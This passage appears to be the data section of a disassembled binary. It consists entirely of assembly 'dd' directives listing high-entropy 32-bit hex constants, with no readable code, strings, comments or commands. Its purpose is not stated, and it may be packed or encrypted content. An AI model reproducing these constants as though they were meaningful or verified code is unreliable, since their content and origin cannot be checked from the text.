dd 1949BCh, 910F256Dh, 843AB900h, 43E293B8h, 0CEFB01EBh
dd 71867A57h, 90A9406Ch, 820007B2h, 0DCF7D1ADh, 77A6BCBAh
dd 76F5FEF4h, 58A21E5Fh, 9470C02Eh, 0C52ADAEAh, 4AD1700h
dd 1D3354AAh, 972B0395h, 9971F02Dh, 0D0B786E9h, 0E360132Eh
dd 0B48D8AD8h, 0F12800D2h, 23A349DFh, 9B00BC8Ch, 0D40631B8h
dd 38610BEh, 0A1245330h, 0FEE0D718h, 4E28ED71h, 0AD00EDA7h
dd 6BDCEE8Ah, 2B9B2h, 4F5BF04Bh, 690798ABh, 2235B800h
dd 0BB3DCAECh, 9A5E0027h, 0DE5DBE2Dh, 0FD0026BCh, 1C808CCCh
dd 0F2246E46h, 2049C0C2h, 0B6596A29h, 0C0921100h, 0BFBB43BEh
dd 368D004Ah, 0EAFB96CCh, 8000ADD8h, 5F335241h, 3ED2C53h
dd 1D8CDAB8h, 52244325h, 481D41Ah, 0ED44CECh, 50BD99F8h
dd 14FCCBBh, 0C883204Eh, 0CB97CC41h, 6E6B1900h, 850E022Fh
dd 4CC010C9h, 0C29700B9h, 0EAB7F773h, 0E3C00E6h, 8EDF62F2h
dd 0EEEAE44Eh, 0F9427006h, 43797B36h, 0CA08806Eh, 1043B90h
dd 2221B957h, 613D6AEBh, 1E4080CEh, 73E6158Dh, 9E3E0040h
dd 5471965Ch, 11C05DCCh, 0B30F9D8Eh, 63A0230h, 901252C8h
dd 7635EC40h, 3FED7800h, 0C50B9447h, 5DDC0EC6h, 4127663Dh
dd 0D4E14017h, 0C09D6BF2h, 1D8CE3Bh, 0B5515EFFh, 0E4B192A3h
dd 0C1DF929h, 48405AE4h, 0FC8FF0C4h, 51B000AAh, 0B3ECA99Eh
dd 584CDE52h, 482D309Bh, 81EBB8h, 21845390h, 861E55EFh
dd 8F250A00h, 0F302A032h, 0E71B0E51h, 4A604638h, 0F1F4ED36h
dd 14C4C4Ch, 1F871DCDh, 5770D617h, 38157449h, 0F808FE5h
dd 382ABF18h, 1000FCC2h, 0F2033065h, 0E6EB7Dh, 2BE586AEh
dd 6DBCB0A8h, 0D2C0D9C0h, 0D49001h, 8521551Eh, 0E1B7A723h
dd 97B530C0h, 3A51114h, 0F6DFCFBAh, 0B98B41BEh, 33D3D0F7h
dd 257790E2h, 0BD0B0500h, 0A9D8C921h, 941F0075h, 0CA411255h
dd 8915C67Fh, 2F819B5h, 1F851D15h, 67B8A0F0h, 35E1C20h
dd 8F4A33E4h, 0B1000C5Bh, 980A5C36h, 0E0387Fh, 57971F94h
dd 3149BB04h, 0C96DFC07h, 8D808684h, 12743322h, 40F8EFBh
dd 5CCF03C0h, 0E1F7AB80h, 99A508h, 57B50E87h, 8B265F35h
dd 7CB32926h, 97316902h, 538CA098h, 0E2C099B8h, 540C079Fh
dd 0C06815FDh, 7ACF551Dh, 0DF00EE98h, 97ACD2A0h, 2A1BBB6h
dd 183AE106h, 709E21B1h, 1D2E2F1Eh, 48161A40h, 24AB8776h
dd 64C88D3Ah, 0D04B413Eh, 0AC2027C3h, 3AFA3C42h, 681872A4h
dd 49456094h, 3C60D0C3h, 0BDCC4B70h, 117D60C8h, 83F8C7BCh
dd 380F4C12h, 0B271A860h, 108A0A4Bh, 509C8F3Eh, 0A2128BEEh
dd 0D470A636h, 448818B5h, 8D372EC0h, 0FCE08992h, 329812Fh
dd 5F958BEAh, 84A54EA5h, 58AC4F54h, 14006A29h, 728F2BF9h
dd 0E6FEA00h, 0D5317582h, 0DA30005Bh, 0E6D8A738h, 1C30637Bh
dd 9CE7B054h, 107A18FEh, 7B14D928h, 96008BF0h, 53D5063h
dd 12A336F5h, 4992BB6h, 7175D6F4h, 1DDC20DFh, 0C89217h
dd 4B0E6E5h, 1906DE78h, 2685FC01h, 0DCF90C2Ah, 0BC64D6h
dd 0E48441F8h, 4806BBC4h, 0C47752h, 7113552Fh, 132B6FFh
dd 0EF992957h, 0EB03CF41h, 0FBDC1E51h, 1BE03101h, 6DA801CCh
dd 38E070h, 0FF788FE9h, 27533580h, 25ACC754h, 3AC53C14h
dd 58090D8h, 5DE3FE3Fh, 5C4F50C1h, 0A698E834h, 1CFF00B0h
dd 688DB233h, 140E679Bh, 62CB59F8h, 0A0E6B98Eh, 98922228h
dd 0ECF8A881h, 0C4403BAFh, 1224392Eh, 94BE00C9h, 1D0AEB35h
dd 0A42EBF01h, 18B751CEh, 0C0048442h, 88AEE69Ch, 5660F1FAh
dd 4EF8D011h, 0D9D60085h, 90B052C6h, 130B110h, 4958A999h
dd 8BAF0070h, 0BAB65715h, 50B573A2h, 1DA5001Bh, 0D6102026h
dd 0E400DCC5h, 4F8C56C7h, 4C3DF7Eh, 0E55B38A6h, 2DB09155h
dd 5C460C5h, 56708203h, 0C7ED64F2h, 118CE6h, 481ED0A8h
dd 0E9CE44E4h, 0CCB5012Ah, 0CF563801h, 0A77A1632h, 9BDC2C25h
dd 0EEF40007h, 55C0BF40h, 2C0EB292h, 40352845h, 0C4319D54h
dd 0E9D9038Fh, 3BE7E17Dh, 99CEC080h, 0DBF4A90Eh, 281AA047h
dd 0EB3BA0Eh, 21EC417Dh, 0AA23B640h, 0FB090276h, 80C45CF3h
dd 6372CA60h, 3741038Bh, 0F278CCBh, 7F3A4870h, 86B58088h
dd 75525747h, 8E671CB2h, 1745C024h, 0C16E1E2Ch, 6B3F2100h
dd 0F4AB580Ch, 0F1250E2Ah, 760E8C2h, 894C7BA1h, 0BE87FC00h
dd 9E855B73h, 9FDE0067h, 0EE2FC664h, 8E06CBF4h, 4F362894h
dd 0F7E431h, 0FF06AA6h, 0FDA4F508h, 4F168C94h, 0CBABA021h
dd 914464h, 43AE2523h, 75E894C8h, 0C1767D16h, 9C395C49h
dd 272D0030h, 9BBECDCh, 33245A89h, 500020E7h, 29EB9371h
dd 74F10004h, 14A12CE4h, 0E88A4B2h, 3F4A7718h, 3F3DBA3h
dd 1E3317FDh, 58A01A36h, 4048A8FEh, 91308094h, 0F1ED9FC2h
dd 1C3BCC64h, 80B2A0E5h, 12F82F0h, 0E4918746h, 56E98F86h
dd 5EE52240h, 7B00B4ACh, 0FC1DC980h, 613CE56h, 44BD0C2Bh
dd 7F03F1DFh, 0E707881Eh, 7DA0C86Dh, 2BC4005Fh, 52A4C94Fh
dd 2A3F05D0h, 0A078D8B6h, 0A85249EEh, 24BD9484h, 814C74EFh
dd 98DD8DB7h, 0BB8404Fh, 0B2F09FECh, 9E3A9702h, 0C3B0ED88h
dd 27BB906Ch, 0AEA81520h, 4A02B87Bh, 51E8A5B5h, 14000450h
dd 291D8732h, 742FF66h, 0A950977Dh, 3DD78090h, 0C47A43A5h
dd 157904BAh, 9083222Bh, 55DAB08h, 0AFDC20h, 0A32DDA8Eh
dd 4D3C9423h, 0FB0CF463h, 0B0B173EFh, 0D1950041h, 3E179DCEh
dd 3A122546h, 0C0097E9h, 0FC3CEF3Dh, 323900F3h, 0E606188Dh
dd 6C0B3435h, 16165D37h, 0E34D00A8h, 94DBD821h, 0CCA82F10h
dd 66FEAF84h, 0A2310B00h, 139E3250h, 587412C5h, 33C828Ch
dd 4D2B033Ch, 0E9453FB7h, 0F5B4AE8h, 0EDD0FF54h, 1C921815h
dd 0FD037DC8h, 60F98BC3h, 441EE50h, 22F76B8Ah, 5624C88Fh
dd 1421613h, 8B7EBC1Ch, 0DC96699h, 3AFC90CFh, 5C65017Fh
dd 7D6A4C3h, 7173EFD1h, 1E26417h, 505BAE01h, 0A8C43442h
dd 0EBA000D5h, 32B41AA1h, 36017873h, 4BBA1164h, 2CD05737h
dd 590E3946h, 3B96A80h, 4F840FD4h, 0DBA66F1Ch, 3913F680h
dd 75A2D9BAh, 782E120Dh, 0E2CC1433h, 7FB29300h, 3698EB2Ch
dd 57B1EC02h, 41D54D72h, 0FC40437Dh, 92C5816Eh, 0A5FB2A10h
dd 0AC6F01C0h, 292B95BEh, 6AD851BBh, 0BCD18DB2h, 80602969h
dd 41B660A6h, 395D98B0h, 0C610B960h, 0A975F2h, 12EEFBF3h
dd 0DBA0925Fh, 449E611Dh, 358709Ch, 35A424h, 89C75DF4h
dd 68DA4BC9h, 7DFBC00h, 0B05072ADh, 5FD3016Dh, 17C1EA83h
dd 0A2B7FCA5h, 0C9AFFB00h, 0E3635DE0h, 55643C44h, 1BEB3884h
dd 0A1E08156h, 0D875E51Ch, 0B6005E5Dh, 947A8786h, 4A7BB3Dh
dd 0C3E26CE4h, 421B80ABh
dd 445CCF69h, 0DF381Fh, 0E6111E23h, 39D950h, 5A6A56A6h
dd 4B02A736h, 1BC86C00h, 5916883Bh, 6298B3h, 0D2D08B7Ch
dd 7314032Bh, 6397CB07h, 0C0F318E7h, 0C0D6A25Bh, 0E378E0Ch
dd 67150C13h, 63168240h, 400004A8h, 525CE25Ah, 0F4BEC9E9h
dd 0F659011Bh, 21482519h, 1660F81Eh, 0EC4C500h, 4F3481EEh
dd 3353E59h, 0F19DB301h, 0D88A0ADFh, 0F40025B9h, 3992C3D8h
dd 0D55BB1h, 1FBF2FE2h, 0DB097690h, 10013200h, 73032D6Eh
dd 12AD0069h, 0FD284A92h, 370038DFh, 3565EF23h, 1F7D4025h
dd 0C004F37Bh, 11127E5Dh, 0B90086F8h, 0C87F03C5h, 0FFC97D5h
dd 0FE7D89C3h, 6170A820h, 9C0BD1DCh, 87B5D476h, 4DD01A50h
dd 18786946h, 3244B779h, 5F3AF376h, 4F5C00D1h, 7436D909h
dd 0F013005Ah, 56CCBDFAh, 0E90021B8h, 69183895h, 0A939F4h
dd 118F2A1Fh, 4AD225Ah, 3D69D09Fh, 2B8059D9h, 63EF24Ah
dd 1C00453Bh, 0A4FE4F95h, 7BFFABh, 0E66BDC55h, 0D247C28Fh
dd 1F00C4E0h, 0F51368Bh, 56D6CFCh, 78A7CCC5h, 25C1AE50h
dd 9C6093C1h, 7500B467h, 405C8008h, 6A264BECh, 0C0005E75h
dd 0C2467F83h, 1C69B5h, 153C21BCh, 13638B79h, 283D5Ch
dd 1EA42DD9h, 24A2EC62h, 34162Ch, 508437Ah, 6E008980h
dd 0D4871B9Eh, 79FECAh, 0F1487E5Ah, 0E5587F5Ch, 0B4FF2002h
dd 605B1D67h, 39AB4E0Ch, 7734F6h, 2E8082CBh, 453EB161h
dd 8E213500h, 956E40F1h, 58BE008Ah, 8D791354h, 2500DE68h
dd 0D7341933h, 9C0ED67h, 0C2535DFDh, 1B631100h, 0FC9C3F9Dh
dd 2C62B43h, 2D76F518h, 0A0A0403Ah, 20441DEh, 10F9F700h
dd 0E9716DD9h, 8899482Fh, 8F0B9C42h, 0E4001BF5h, 201805D5h
dd 68F03774h, 7EED18C0h, 6129C91h, 0F74EE628h, 8300A853h
dd 363ED08Ah, 2E58B1h, 295BF025h, 85BACEE1h, 183DF12Eh
dd 0C3E2C00h, 0EA3CC760h, 0B1BE01D9h, 7DF96790h, 7E7C4C9Ch
dd 0AB3BEC0Ch, 0B6A0E8h, 9CFF2349h, 2E07FD4Eh, 0D560F000h
dd 0A4F90F3Dh, 0BAA80191h, 9372CDDEh, 0D6C8CC8Fh, 0F0A12600h
dd 8032458Eh, 0C94A096Ah, 1C8068B5h, 12789ED3h, 0E7C14C00h
dd 0D8EB0879h, 0EDE63ED7h, 75F92500h, 0B25FEF02h, 5C725516h
dd 33C280C0h, 256734Ah, 0C6C10A0Eh, 0B2628C96h, 7D0FB8C0h
dd 30140B4h, 299BCF58h, 49C487E6h, 0D7781C50h, 9679004Ah
dd 4ECB3C55h, 740C8692h, 60039CD0h, 8C890154h, 3CABEBD1h
dd 66A7F83Ah, 0BE5E5838h, 0C05D57h, 16034652h, 0BF79E8h
dd 0F262C80Bh, 42C12B0Fh, 18E449C1h, 0B9985733h, 0E8A950E9h
dd 42B10B31h, 0E3F09958h, 588BF8D3h, 0AE0FD9D6h, 0CC60D9C0h
dd 33506813h, 0C37886E7h, 74EA7FDh, 3A6CC5B2h, 181D807Ch
dd 4030D459h, 0FEF499BDh, 4FF0009Fh, 3E944C5Bh, 90006B18h
dd 99BBE858h, 0C0B679E1h, 0F12D9139h, 7714863Bh, 8A80ABD0h
dd 3E93745Fh, 37C44300h, 0F67ADEE6h, 0D3D607DAh, 0FCD4EEh
dd 241B35C2h, 0D84C900h, 486A0C92h, 5FAB30E8h, 8FCBB540h
dd 96235801h, 7512E03h, 0E2DE7474h, 713989Eh, 0E1D230AEh
dd 8AB70182h, 0E905F00Dh, 0F33CACF0h, 4A0A0185h, 9DB4F496h
dd 9BF070h, 6FE3C7F5h, 2C6B3957h, 6F45548h, 0ADFF3C9Eh
dd 99451850h, 1442D098h, 2BEDFB00h, 44C58397h, 880B03C9h
dd 0D13C4BE4h, 0D7541801h, 615A686Eh, 0F058E8F0h, 5D213C02h
dd 7B148A06h, 8500287Eh, 0CC6AA3C7h, 0E8ABE4ACh, 0B018C2D2h
dd 0D8F1DF82h, 835CEC0h, 0D390073Ah, 4582E5BDh, 0A9800A4h
dd 14866116h, 2AD40E00h, 13023A97h, 14B7D11h, 0E1D34C5Ah
dd 9FA30152h, 0FB073430h, 41D0DA95h, 0AEF04Fh, 3A9D0B9Fh
dd 731FC987h, 2890612Ah, 0A5AF5219h, 0C042E319h, 0DE32E69h
dd 0A91D5770h, 99547E3Dh, 3A67C060h, 3735BE24h, 48A86516h
dd 468785BFh, 9040731Ch, 98C0696Fh, 0C52B0556h, 0CD739DAh
dd 6550253Ch, 4C2A7CA4h, 0EE5008E3h, 0E818B53Ch, 1019BE52h
dd 84F5524Bh, 0DD248209h, 190C0823h, 0D5049010h, 35D01588h
dd 49E1604Bh, 6ABC909Fh, 0C638EE60h, 3EA4C89Bh, 0DA3A4ED2h
dd 1A7B428Ah, 0A10A89B8h, 0E4C4D85h, 60A08318h, 0FFCD3A39h
dd 0F4649218h, 0A0535F59h, 0EA52791Ch, 39D71EE4h, 9099708Fh
dd 6930D226h, 56881180h, 9E801D1h, 87D08C11h, 0BF84502Eh
dd 822ED3D2h, 0D181FC45h, 9DEC4817h, 2A1109Dh, 9E4AD9C6h
dd 30E3C400h, 181C60E7h, 0D11B0367h, 334D951h, 0C1077594h
dd 0EF90483Ah, 5C5E9B40h, 19A0AB2Dh, 5859B478h, 1F00240Ah
dd 79C17106h, 30102DDFh, 58A190E7h, 0A212ED1Dh, 0C8021680h
dd 0A1B3630Ah, 970FDF84h, 0C03367D0h, 13A38270h, 9002C010h
dd 0BCC2C650h, 7C5F0598h, 0C683BF40h, 40408668h, 0D43D567Eh
dd 0DD1960E3h, 78096051h, 480C8386h, 213F87D1h, 4154AA18h
dd 0BC52CD70h, 4D3C212Fh, 3A388C14h, 0ECB508D8h, 0D3911C88h
dd 921AFF13h, 1040B0DDh, 28842C62h, 210CD530h, 71083F16h
dd 271242EEh, 3C09AC23h, 0B9899F49h, 0B8A5D270h, 0DAD105F5h
dd 9CD6C057h, 8D219D0h, 9392FCD0h, 0DC2D0048h, 6DC0C1EFh
dd 0EC50B76Bh, 0F00D7B4h, 35029353h, 15E3CD2h, 4CFDED83h
dd 30E9B714h, 306C6954h, 8CBD78D8h, 7E483604h, 0EF62EC58h
dd 48CFA02Fh, 0C33023h, 0AF340850h, 43CA490h, 0DCFE58C2h
dd 2525DC1Ah, 9966B048h, 845AE11h, 127E0400h, 0F8E58636h
dd 0DD5F5919h, 2180FC08h, 0A41261CDh, 95019089h, 110A6D58h
dd 0BBE05256h, 6F0D029Eh, 91EB9255h, 0AB3DD8A0h, 0B01C582h
dd 180779A8h, 2BD17698h, 0F8DB219Fh, 8E06D480h, 0D96E21C1h
dd 0FCB25606h, 465185F5h, 828402A7h, 31A00BBAh, 7BDC109Fh
dd 0F2260082h, 81F6753Dh, 0E358CA52h, 500B383Ch, 1F0067BCh
dd 34B021EAh, 1ADB11h, 5260DCD1h, 0BDE7358Eh, 9BE3541Eh
dd 9545D300h, 777D663h, 661DFF6Dh, 0AAF7800Ch, 2007A23h
dd 58459EDFh, 0E74F20Bh, 8453EF72h, 5324B6E7h, 86F07BB1h
dd 833FCBACh, 0FAAB8365h, 0E0154CC5h, 809001h, 0FBDCF95Ah
dd 0B4D74DFEh, 0ED96B700h, 698B9208h, 4CD175A5h, 0BE039239h
dd 0B19976A8h, 25642AC0h, 4BA6BB07h, 0D540AA02h, 0AB4352h
dd 26C3C9C5h, 328F9DC1h, 2000EC7Ah, 7DE58915h, 0E6C6439h
dd 9E88C6F8h, 68007B8Fh, 5A98600Ah, 6F00117Fh, 49F46593h
dd 1DDDE10Ch, 3D10636h, 0F65844B0h, 68B3DBA0h, 0E1476B06h
dd 3F5096E6h, 0EF44E88Ch, 8008F76Fh, 18E2BDCDh, 93F10010h
dd 5F8A3178h, 743C3214h, 29073067h, 3E814076h, 780E34h
dd 4477752h, 36C758FEh, 0E0B3FC3Ch, 7A30D6B9h, 0E4A90079h
dd 0E2CA321Dh, 0D7008823h, 0D63E6029h, 0C0FAD833h, 0CB57C559h
dd 0D00078B8h, 95E02871h, 94CE4Ah, 0CD3FE37Bh, 0C8532D06h
dd 6063EE37h, 4F4544C0h, 4EE806DFh, 909EA9Ch, 24217160h
dd 0E44FA0h, 6ED243D3h, 0EA76FFA4h, 0FC31A1C7h, 0E57BDFC0h
dd 0F7840075h, 7756F5BCh, 1360D81Ah, 0DC986CE0h, 81B000CAh
dd 79F947DBh, 2E8482Bh, 0A4F2B9C0h, 0F5F0BCBh, 83C71011h
dd 0C85259A0h, 0A61C25C6h, 4381A1D0h, 34E326FBh, 5E8DEECh
dd 0A879C8Eh, 0E5C443F7h, 9903768Fh, 0A905175Ah, 77900798h
dd 47B71A37h, 81B15470h, 0F0B814h, 0ECFD6364h, 0A1D8074Ch
dd 116C8AAEh, 0AF49349Eh, 300D7C38h, 1A790F60h, 3E88E50h
dd 3516EC00h, 1F558AA9h
dd 0F82C50D0h, 154520EEh, 0C8871805h, 2038CCBBh, 248A4673h
dd 824024EEh, 2BDF301h, 0B69533A8h, 0B5804376h, 92E34D23h
dd 81387B12h, 67C54020h, 2ECC00C2h, 15B3A212h, 237E28BBh
dd 0E3FB9112h, 8D8D1C0Eh, 79F03152h, 1A023EE1h, 0F3D1D401h
dd 0CC570753h, 30003177h, 6469486Ch, 0A8EFE043h, 359BA8h
dd 0FF09D138h, 27F6FCAFh, 6094AC4Ch, 391D2A21h, 0B1121378h
dd 0C98300D7h, 0E88438E3h, 4C794660h, 3A3F692h, 0E5D1C435h
dd 0BBAA1F0Dh, 18341849h, 4ACA04DEh, 32482B81h, 0C6B82007h
dd 177383CAh, 4B874502h, 80A7D30Dh, 2E4FEB20h, 74C34953h
dd 0D462B28Fh, 0FC33E6E8h, 445985Fh, 1B07FECDh, 0DDE62A3Ah
dd 9176D440h, 6EA4A913h, 9EC88C4Bh, 71368EC0h, 2A6E6022h
dd 0C4080D4h, 6A85F30Eh, 151AC686h, 12C946B0h, 740A4F5Ch
dd 6B4458B6h, 4FB74940h, 0DF009403h, 4DE92C9Bh, 7B47485h
dd 635C23FFh, 306F51ACh, 3030A153h, 87185A71h, 2DC54800h
dd 0A0943551h, 1FEC120Dh, 0E59401BFh, 22CC4F23h, 0C6E3A2Ch
dd 11FB7CBAh, 0ABD50F8Ch, 8BC00E35h, 8ABCE768h, 2100DBE9h
dd 77ABCDB3h, 21E4DE5h, 0D68DA25Bh, 0E0805AA5h, 8F3F912Ah
dd 354D1490h, 4979012Ch, 24760C22h, 3E3E3830h, 0FB0DC56Dh
dd 0B98D6Fh, 81F042DCh, 0A51248F4h, 4448E031h, 12B8A4FCh
dd 30406349h, 0FCD840FDh, 2BC71C83h, 76ADE518h, 28579h
dd 15217897h, 0C3D4E6CCh, 7DAB0D04h, 0E8807172h, 0A9A729h
dd 0FA3970DDh, 370B4F48h, 83CEFC3Fh, 0AC1A85E8h, 4B404CECh
dd 0B86F6072h, 0D10B4797h, 0C8E0F900h, 0E3733874h, 377B263Bh
dd 809E11D4h, 0E8D94F5Fh, 77448C5Eh, 20A26056h, 72C69E5Dh
dd 4DAD0B0Ch, 13F8C09Dh, 727168DAh, 1098150h, 68793028h
dd 0E40E4880h, 8AD3FFC5h, 78032098h, 0FD3211F6h, 6BD088B3h
dd 10949B55h, 0C220439Ch, 1914F11Bh, 9F4420F9h, 4F463E8Ch
dd 2246E1BAh, 494B0178h, 602A894Fh, 0D1A3C03Bh, 8AF4B44Ch
dd 0D45F047Bh, 0A42520B0h, 7C342189h, 0DB018DBCh, 0CF7A3029h
dd 79393004h, 80805D3Ah, 637B67B1h, 88E141FFh, 36435100h
dd 5681AEAFh, 4E0300C0h, 0A8975A0Ch, 0FF18EF95h, 4796207h
dd 28777959h, 0F244735Fh, 995700F6h, 0F5AC794Ah, 59C08CE1h
dd 5C0C263Bh, 0F7BF8DBh, 360BBAD7h, 6C918EC0h, 6661FA2Dh
dd 690E8D98h, 0FF5196h, 176EF948h, 0F4608115h, 3AABBE19h
dd 0C3E73EDDh, 0D4219380h, 0F854B477h, 0F87BCB26h, 2CABD060h
dd 8ABC210Eh, 7D8891h, 0FF34ABC7h, 99C16A81h, 0D800A0A3h
dd 58DD5A27h, 625A32Ah, 9D6A7247h, 347E2085h, 34C0F829h
dd 0E334830h, 4434A4D4h, 9F01B182h, 9CC591ABh, 9472E087h
dd 152ABD48h, 888C5C90h, 0D0AFD4CBh, 0C5ADC280h, 0C6A0C817h
dd 800CAB6h, 26FB499Bh, 3B62A504h, 2E99887h, 45296010h
dd 88C6D00Ch, 0FC951F5h, 184A93AAh, 505C58F7h, 325D7D66h
dd 97116150h, 885DEC6h, 0CDC8458h, 0E2184748h, 88289DF1h
dd 0A621970h, 0F5F4D2h, 72E7227Ch, 911F08EDh, 9A571A01h
dd 61EEA9FFh, 65CB9980h, 24458CC8h, 0C774B902h, 0EB09D041h
dd 0B025F850h, 9DE092h, 39879EA2h, 67D1D05Fh, 7BA19766h
dd 806C5479h, 1D98C046h, 0FFED048h, 84892512h, 3019F892h
dd 4110CAD9h, 0B9E0C381h, 3912CAC1h, 0CCC8F01Bh, 24681F7Ch
dd 40725CC4h, 54D15CDEh, 400F077h, 3D433755h, 0AB218FDh
dd 0E6674076h, 45C83438h, 40900CD4h, 797A9180h, 32E00166h
dd 1967EF33h, 549DF8FFh, 0EC643C96h, 0A4106449h, 0ABCBC07Ch
dd 43740E37h, 84228Bh, 0DEABC3BDh, 9E8FA67Dh, 0BC91FF75h
dd 0A80A243Ah, 7481E344h, 7708FDD1h, 43D32500h, 4608EB40h
dd 80A496E0h, 0E860BC2Ch, 5105C5D6h, 0A3295D77h, 320EC442h
dd 89022474h, 83D4073Ch, 11148908h, 10D4A234h, 0E22C4B1Eh
dd 0E75F85A4h, 30BC52E3h, 8126C210h, 33C04707h, 5F40370Ch
dd 31B27051h, 0DCC863A9h, 0E14C10F9h, 0C039DD8Eh, 0ED70CDD8h
dd 9372DCB2h, 23462B25h, 0B3E1D4h, 72EDAE29h, 2116E01Bh
dd 0E2D6D004h, 5CE175CBh, 581A0F8h, 0F419EB49h, 1C9012FFh
dd 0B0A1226Ch, 3C001595h, 59E401F0h, 8AA00656h, 6987B2E5h
dd 295BEE30h, 0F22FB348h, 58AEA77h, 6646E4D6h, 23F03B74h
dd 9A51F82h, 1C10EE0Bh, 563F5B5Fh, 7C0738EAh, 87196660h
dd 0C1416Dh, 19971EE5h, 9525634Dh, 0C43EF500h, 7D34053Dh
dd 6909316Ah, 80E081E8h, 0D5184269h, 0DD86C9h, 0E880FA4Ch
dd 16B2B350h, 618AEE30h, 13BC4F9Ah, 6FCB95DDh, 483238Ch
dd 88D64303h, 7008604h, 0BA2189E3h, 1B2CB5Dh, 0FC9EAB19h
dd 50F6EE7Eh, 0A48A28C8h, 37900300h, 5DA13C87h, 0DF9609FCh
dd 20A3DE7Eh, 6913F8E4h, 60D079E5h, 0A4EC398Ch, 1B3007ECh
dd 82C13518h, 5440149Ch, 6FECBE10h, 1D5A713h, 50ED2C4Eh
dd 23BFC44h, 6E8AAEA6h, 7890C6F8h, 3111ABD1h, 8488C40Eh
dd 0ABC82780h, 40E2B4h, 924FEA96h, 0BC4E83F6h, 63D1F400h
dd 2216D5E7h, 5D6F24FFh, 59B34038h, 11C060EEh, 0D84DF184h
dd 4CB60094h, 79AC979Ch, 0E74295Ah, 0A477362Ch, 0AD66D400h
dd 0CF65EE40h, 6DE01139h, 8E051EBFh, 7297A207h, 4741B833h
dd 54341BE1h, 5C289C6Dh, 13CD18FFh, 0C1DDB28Bh, 819EA090h
dd 0D9A9FD08h, 8CD0FC2Bh, 928B10Bh, 0F080D05Eh, 30D69EBDh
dd 0C01621C8h, 0A40E2BD8h, 60918A01h, 0F6E58BE4h, 0CC708415h
dd 584E89Ch, 7D733C71h, 0ABAC00B3h, 93F1A8B0h, 0EECEAA01h
dd 0D758474Ah, 40322460h, 35F87974h, 0C1F66E13h, 0D6420407h
dd 798044FAh, 2174D9E9h, 0B5A71215h, 0F0F490F4h, 20F3CEBDh
dd 0FB196704h, 2639EC6Fh, 0F66D8420h, 0AE5E0055h, 0DE321546h
dd 1602ECE8h, 85F5C56Bh, 23A4319h, 13352658h, 9892Ch, 0BE5E6D80h
dd 0DEE4A062h, 867B0725h, 811DE8ADh, 431C16C1h, 0D081EB24h
dd 1EC0209Eh, 0DB38E00Ah, 3401833h, 0DFFAE12h, 0FCE1094Eh
dd 493BC4C1h, 3EB4E700h, 55D0B042h, 81C000FDh, 6D96519Bh
dd 0A416E583h, 588070F9h, 3DE15FC2h, 149E211Ch, 0FAFD419Eh
dd 0CA64F185h, 0B811006Bh, 620590F6h, 51769ACh, 4075F493h
dd 3D67E89Ch, 11D672B9h, 1060580Ch, 0F0AC70A1h, 4EC2467h
dd 0F65880D0h, 6A413B7Eh, 26590102h, 0C3444234h, 6767B4F0h
dd 0BB81C1CAh, 0C0110C48h, 0CAC0CE21h, 0DC09DFB4h, 1B161412h
dd 0A556B8A8h, 239E004Fh, 253B2732h, 5F14E165h, 48440C71h
dd 0DACDC0BCh, 0B3424C0h, 0E187C6FFh, 41779498h, 803C7C4Ch
dd 0DB784AD7h, 4A505C0Eh, 40E75C16h, 0CAF62538h, 0C8A0C6E4h
dd 8954B3E5h, 0D7DDB88h, 90860098h, 0DD655B38h, 77B9002Ch
dd 9E03CDC7h, 0EEFF186Fh, 9DD52959h, 0E4C05A00h, 0BEB28440h
dd 14E2078Eh, 0B0AEE8FAh, 0EF794AB5h, 0C98F9000h, 0F3A52A2Dh
dd 0C2090729h, 0C575087Ah, 0DB6489E1h, 455BB7D0h, 0B814BC00h
dd 95D85427h, 3EDE0A37h, 15D48FFAh, 0ED04B015h, 0C8EF8A0Dh
dd 8F00D5ACh, 0ABC5E5FFh, 0F953280h, 0B40A87E0h, 0F33B1020h
dd 685CCF1Eh, 0B19E0294h, 20746AFBh, 8872E62Ah, 99EE0212h
dd 92535840h, 5314919Eh, 5401B03Ah, 0A1B5B91Dh, 4F7AC047h
dd 1760E100h, 0E9D7EB6Fh, 71121DECh, 0C8DF402Ch, 0D914C93Bh
dd 0F8936300h, 6CE57BD0h, 1C477856h, 40CEBB4Eh, 9F44570h
dd 6B00C725h
dd 85DFE63Eh, 1D22F8AEh, 41BA492Ch, 1F2E0E7Fh, 0C067DC66h
dd 88177500h, 87635E91h, 7650012h, 985F823Ch, 0B27F93F8h
dd 0DB449F00h, 7BD48BA4h, 0E33F002Eh, 9575B60Ch, 8E00572Fh
dd 4E0918B1h, 0FB3A2F7h, 2411326Bh, 0C28188E0h, 0F5E6EF65h
dd 4EFAAE00h, 7DE5FD3Ch, 57FB18A5h, 91E9D18Bh, 0F58608C7h
dd 4F0B1660h, 551B00CAh, 0DB133BE8h, 5C039D4Bh, 66E7AEEBh
dd 8AD81F86h, 0A94A4180h, 0C4346D52h, 0BA008B87h, 0B39F0B72h
dd 30F00C90h, 830EAE7h, 99012757h, 5AEDD5F8h, 10EC9230h
dd 49110050h, 0C7F6BE3Ch, 64F69D2Bh, 804AC801h, 0AB1DC6Fh
dd 0A1B5E543h, 20813F97h, 2B4BE3A9h, 5B0C86Fh, 1C28DB00h
dd 55221F92h, 0A1881C11h, 2BC440AEh, 3EF28AA6h, 16D38C9h
dd 384F89C7h, 8F1B2886h, 72401896h, 0C3AC4033h, 3C4A89C1h
dd 4C50F768h, 23E24BFAh, 8B11CD47h, 4BF5AB00h, 0A6BCD65Fh
dd 9EE7CFF6h, 7780C418h, 7F4839BDh, 98F10C75h, 93B810D2h
dd 4E54AF33h, 0BDB000D3h, 1DF735E6h, 3F33684Bh, 0F20924h
dd 35FF5DD1h, 0C0F65CA2h, 3A693EC7h, 219976h, 6F6694EBh
dd 2ADA73E8h, 0D3209605h, 0B43B5562h, 0E5009223h, 2106EF28h
dd 38593CF2h, 29BC5280h, 98877FD2h, 2B0CFC7Fh, 107D5E28h
dd 4C040097h, 0CE672405h, 0C73F6B37h, 0F4DEBC53h, 0DAFA6900h
dd 75EAE062h, 49C8004Dh, 0D5A82F43h, 9AF0F9E3h, 1D5C353Dh
dd 21407F74h, 8591567Bh, 8FD0096h, 0BAC5D736h, 6012BBE2h
dd 6303D9FEh, 0E09B06E9h, 1F1D2155h, 620B97h, 7BA7CE7Ch
dd 0E301166Eh, 8F6B8C8Dh, 9570A077h, 620100A1h, 0F58F19Bh
dd 0B3001C5Ch, 0A37C8FE4h, 0E64CE861h, 8AA200BEh, 0AAEE2AB1h
dd 100076Eh, 0A85C384Ah, 9E3476h, 465BEDDEh, 0B9728B1Ch
dd 0D8BE5800h, 0FB26988Ch, 0C304ADF1h, 4843BF30h, 727C804h
